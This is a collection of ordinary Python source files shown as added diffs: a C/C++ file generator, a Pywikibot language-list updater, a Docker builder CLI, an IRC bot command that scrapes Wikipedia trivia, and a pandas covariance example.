+ if len(namespaceList) != 1:
186
+ className = namespaceList[-1]
187
+ namespaceList = namespaceList[:-1]
188
+ for namespace in namespaceList:
189
+ fileConfig["namespace"] = namespace
190
+ fp.write(fileConfig["openNamespace"] % fileConfig)
191
+
192
+ fileConfig["className"] = className
193
+ fp.write(fileConfig["cppClassDef"] % fileConfig)
194
+
195
+ for namespace in namespaceList[::-1]:
196
+ fileConfig["namespace"] = namespace
197
+ fp.write(fileConfig["closeNamespace"] % fileConfig)
198
+
199
+ fp.write(config["cppHeaderEnd"] % fileConfig)
200
+
201
+ fp.close()
202
+
203
+ return path
204
+
205
+ class CppSource(Generator):
206
+ def __init__(self):
207
+ Generator.__init__(self)
208
+ self.setName("cppsource")
209
+
210
+ def generate(self, name, incPath=""):
211
+ path = os.path.join(config["srcBase"], name)
212
+ path = path.replace("::", "/")
213
+ last = path.rfind("/")
214
+ if last != -1:
215
+ path = path[:last].lower() + path[last:]
216
+ path += ".cpp"
217
+
218
+ fp = file(path, "w")
219
+
220
+ fileConfig = config
221
+ fileConfig["path"] = path
222
+ fileConfig["incPath"] = incPath
223
+
224
+ fp.write(fileConfig["fileHeader"] % fileConfig)
225
+ if incPath != "":
226
+ fp.write(fileConfig["cSource"] % fileConfig)
227
+
228
+ namespaceList = name.split("::")
229
+ if len(namespaceList) != 1:
230
+ className = namespaceList[-1]
231
+ namespaceList = namespaceList[:-1]
232
+ for namespace in namespaceList:
233
+ fileConfig["namespace"] = namespace
234
+ fp.write(fileConfig["openNamespace"] % fileConfig)
235
+
236
+ fp.write("\n\n")
237
+
238
+ for namespace in namespaceList[::-1]:
239
+ fileConfig["namespace"] = namespace
240
+ fp.write(fileConfig["closeNamespace"] % fileConfig)
241
+
242
+ fp.close()
243
+
244
+ class CppGenerator(Generator):
245
+ def __init__(self):
246
+ Generator.__init__(self)
247
+ self.setName("cpp")
248
+
249
+ def generate(self, name):
250
+ incPath = CppHeader().generate(name)
251
+ CppSource().generate(name, incPath)
252
+
253
+
254
+
255
+ def main():
256
+ generatorMap = dict()
257
+ def addGenerator(generator):
258
+ generatorMap[generator.name()] = generator
259
+
260
+ addGenerator(CHeader())
261
+ addGenerator(CSource())
262
+ addGenerator(CGenerator())
263
+
264
+ addGenerator(CppHeader())
265
+ addGenerator(CppSource())
266
+ addGenerator(CppGenerator())
267
+
268
+ if len(sys.argv) < 3:
269
+ print "Usage:", sys.argv[0], "generator name1 [name2 name3 . . .]"
270
+ print "Where generator is one of:"
271
+ for g in generatorMap.values():
272
+ print "\t", g.name()
273
+ return
274
+ generator = generatorMap[sys.argv[1]]
275
+
276
+ for name in sys.argv[2:]:
277
+ generator.generate(name)
278
+
279
+ main()
pool/shard008/Python/0078939_wikimedia_sites.py ADDED
@@ -0,0 +1,108 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/python
2
+ # -*- coding: utf-8 -*-
3
+ """Script that updates the language lists in Wikimedia family files."""
4
+ #
5
+ # (C) xqt, 2009-2014
6
+ # (C) Pywikibot team, 2008-2014
7
+ #
8
+ # Distributed under the terms of the MIT license.
9
+ #
10
+ from __future__ import unicode_literals
11
+
12
+ __version__ = '$Id$'
13
+ #
14
+
15
+ import re
16
+ import codecs
17
+ from xml.etree import cElementTree
18
+ import sys
19
+
20
+ import pywikibot
21
+ from pywikibot.family import Family
22
+
23
+ if sys.version_info[0] > 2:
24
+ from urllib.request import urlopen
25
+ else:
26
+ from urllib import urlopen
27
+
28
+ URL = 'https://wikistats.wmflabs.org/api.php?action=dump&table=%s&format=xml'
29
+
30
+ familiesDict = {
31
+ 'anarchopedia': 'anarchopedias',
32
+ 'wikibooks': 'wikibooks',
33
+ 'wikinews': 'wikinews',
34
+ 'wikipedia': 'wikipedias',
35
+ 'wikiquote': 'wikiquotes',
36
+ 'wikisource': 'wikisources',
37
+ 'wikiversity': 'wikiversity',
38
+ 'wikivoyage': 'wikivoyage',
39
+ 'wiktionary': 'wiktionaries',
40
+ }
41
+
42
+ exceptions = ['www']
43
+
44
+
45
+ def update_family(families):
46
+ for family in families or familiesDict.keys():
47
+ pywikibot.output('\nChecking family %s:' % family)
48
+
49
+ original = Family.load(family).languages_by_size
50
+ obsolete = Family.load(family).obsolete
51
+
52
+ feed = urlopen(URL % familiesDict[family])
53
+ tree = cElementTree.parse(feed)
54
+
55
+ new = []
56
+ for field in tree.findall('row/field'):
57
+ if field.get('name') == 'prefix':
58
+ code = field.text
59
+ if not (code in obsolete or code in exceptions):
60
+ new.append(code)
61
+ continue
62
+
63
+ # put the missing languages to the right place
64
+ missing = original != new and set(original) - set(new)
65
+ if missing:
66
+ pywikibot.output(u"WARNING: ['%s'] not listed at wikistats."
67
+ % "', '".join(missing))
68
+ index = {}
69
+ for code in missing:
70
+ index[original.index(code)] = code
71
+ i = len(index) - 1
72
+ for key in sorted(index.keys(), reverse=True):
73
+ new.insert(key - i, index[key])
74
+ i -= 1
75
+
76
+ if original == new:
77
+ pywikibot.output(u'The lists match!')
78
+ else:
79
+ pywikibot.output(u"The lists don't match, the new list is:")
80
+ text = u' self.languages_by_size = [\r\n'
81
+ line = ' ' * 11
82
+ for code in new:
83
+ if len(line) + len(code) <= 76:
84
+ line += u" '%s'," % code
85
+ else:
86
+ text += u'%s\r\n' % line
87
+ line = ' ' * 11
88
+ line += u" '%s'," % code
89
+ text += u'%s\r\n' % line
90
+ text += u' ]'
91
+ pywikibot.output(text)
92
+ family_file_name = 'pywikibot/families/%s_family.py' % family
93
+ family_file = codecs.open(family_file_name, 'r', 'utf8')
94
+ family_text = family_file.read()
95
+ old = re.findall(r'(?msu)^ {8}self.languages_by_size.+?\]',
96
+ family_text)[0]
97
+ family_text = family_text.replace(old, text)
98
+ family_file = codecs.open(family_file_name, 'w', 'utf8')
99
+ family_file.write(family_text)
100
+ family_file.close()
101
+
102
+
103
+ if __name__ == '__main__':
104
+ fam = []
105
+ for arg in pywikibot.handleArgs():
106
+ if arg in familiesDict.keys() and arg not in fam:
107
+ fam.append(arg)
108
+ update_family(fam)
pool/shard008/Python/0078943_cli.py ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import click
2
+ import docker
3
+
4
+ from py._path.local import LocalPath
5
+
6
+ from python_builder_concept.builder import Builder, Workspace
7
+ from python_builder_concept.config import load_configs
8
+
9
+
10
+ @click.command()
11
+ @click.option('--config', required=True,
12
+ help='The path to the config file for the builder.',
13
+ type=click.Path(exists=True, dir_okay=False, resolve_path=True))
14
+ @click.option('--build-file', default='.build.yml',
15
+ help='The name of the build config file in the source')
16
+ @click.option('--docker-socket', default='unix://var/run/docker.sock',
17
+ help='The address to the Docker daemon socket')
18
+ @click.argument('source_dir',
19
+ type=click.Path(exists=True, file_okay=False,
20
+ resolve_path=True))
21
+ @click.argument('workspace_dir',
22
+ type=click.Path(file_okay=False, resolve_path=True))
23
+ def main(config, build_file, docker_socket, source_dir, workspace_dir):
24
+ workspace = Workspace(LocalPath(workspace_dir))
25
+ workspace.prepare(LocalPath(source_dir))
26
+
27
+ configs = load_configs(LocalPath(config),
28
+ workspace.source_path.join(build_file))
29
+
30
+ docker_client = docker.Client(base_url=docker_socket)
31
+
32
+ builder = Builder(configs, workspace, docker_client)
33
+ builder.build()
pool/shard008/Python/0078947_module_nugget.py ADDED
@@ -0,0 +1,93 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+
3
+ import random
4
+ import re
5
+ from urllib import FancyURLopener
6
+
7
+ from BeautifulSoup import BeautifulSoup
8
+
9
+
10
+ class MyOpener(FancyURLopener):
11
+ version = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11'
12
+
13
+
14
+ class Nuggets():
15
+ def __init__(self):
16
+ self.nugget_list = []
17
+ self.getNuggets()
18
+ self.soup = None
19
+ random.seed()
20
+
21
+ def makeSoup(self):
22
+ myopener = MyOpener()
23
+ page = myopener.open(self.url).read()
24
+ self.soup = BeautifulSoup(page)
25
+
26
+ def getNuggets(self):
27
+ pass
28
+
29
+ def cleanNuggets(self, ugly_nugget_list):
30
+ for nugget in ugly_nugget_list:
31
+ temp = re.sub('<.*?>', '', str(nugget))
32
+ if re.search('\.\.\.', temp):
33
+ self.nugget_list.append(re.sub('\.\.\.', '', temp))
34
+
35
+ def getSentence(self):
36
+ return self.question + self.nugget_list[random.randint(0, len(self.nugget_list))]
37
+
38
+
39
+ class NuggetsEn(Nuggets):
40
+ def __init__(self, archive_num):
41
+ self.question = "Did you know, "
42
+ #archive_max checked 13-8-2009
43
+ self.archive_max = 246
44
+ self.archive_num = archive_num
45
+ if self.archive_num > self.archive_max:
46
+ self.archive_num = random.randint(1, self.archive_max)
47
+ self.url = "http://en.wikipedia.org/wiki/Wikipedia:Recent_additions_" + str(self.archive_num)
48
+ Nuggets.__init__(self)
49
+
50
+ def getNuggets(self):
51
+ self.makeSoup()
52
+ ugly_nugget_list = []
53
+ lists = self.soup.findAll("ul")
54
+ for list in lists[:-7]:
55
+ for nugget in list.findAll("li"):
56
+ ugly_nugget_list.append(nugget)
57
+
58
+ self.cleanNuggets(ugly_nugget_list)
59
+
60
+
61
+ class NuggetsFi(Nuggets):
62
+ def __init__(self, archive_num):
63
+ self.question = "Tiesitkö, että "
64
+ #archive_max checked 13-8-2009
65
+ self.archive_max = 6
66
+ self.archive_num = archive_num
67
+ if self.archive_num > self.archive_max:
68
+ self.archive_num = random.randint(1, self.archive_max)
69
+ self.url = "http://fi.wikipedia.org/wiki/Wikipedia:Tiesitk%C3%B6_ett%C3%A4.../Arkisto" + str(self.archive_num)
70
+ Nuggets.__init__(self)
71
+
72
+ def getNuggets(self):
73
+ self.makeSoup()
74
+ ugly_nugget_list = []
75
+ lists = self.soup.findAll("ul")
76
+ for nugget in lists[0].findAll("li"):
77
+ ugly_nugget_list.append(nugget)
78
+
79
+ self.cleanNuggets(ugly_nugget_list)
80
+
81
+
82
+ def command_nugget(bot, user, channel, args):
83
+ """Tells nugget from Wikipedia. Avaible Languages: fi, en Usage: .nugget [lang]"""
84
+ if args:
85
+ if args.lower() == "en":
86
+ nugget = NuggetsEn(10000)
87
+ elif args.lower() == "fi":
88
+ nugget = NuggetsFi(10000)
89
+ else:
90
+ nugget = NuggetsFi(10000)
91
+ else:
92
+ nugget = NuggetsFi(10000)
93
+ return bot.say(channel, nugget.getSentence())
pool/shard008/Python/0078948_series_cov.py ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # *****************************************************************************
2
+ # Copyright (c) 2020, Intel Corporation All rights reserved.
3
+ #
4
+ # Redistribution and use in source and binary forms, with or without
5
+ # modification, are permitted provided that the following conditions are met:
6
+ #
7
+ # Redistributions of source code must retain the above copyright notice,
8
+ # this list of conditions and the following disclaimer.
9
+ #
10
+ # Redistributions in binary form must reproduce the above copyright notice,
11
+ # this list of conditions and the following disclaimer in the documentation
12
+ # and/or other materials provided with the distribution.
13
+ #
14
+ # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
15
+ # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
16
+ # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
17
+ # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
18
+ # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
19
+ # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
20
+ # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
21
+ # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
22
+ # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
23
+ # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
24
+ # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
25
+ # *****************************************************************************
26
+
27
+ import numpy as np
28
+ import pandas as pd
29
+ from numba import njit
30
+
31
+
32
+ @njit
33
+ def series_cov():
34
+ s1 = pd.Series([3.2, -10, np.nan, 0.23, 9.2])
35
+ s2 = pd.Series([5., 0, 3.3, np.nan, 9.2])
36
+
37
+ return s1.cov(s2) # Expect value: 44.639...
38
+
39
+
40
+ print(series_cov())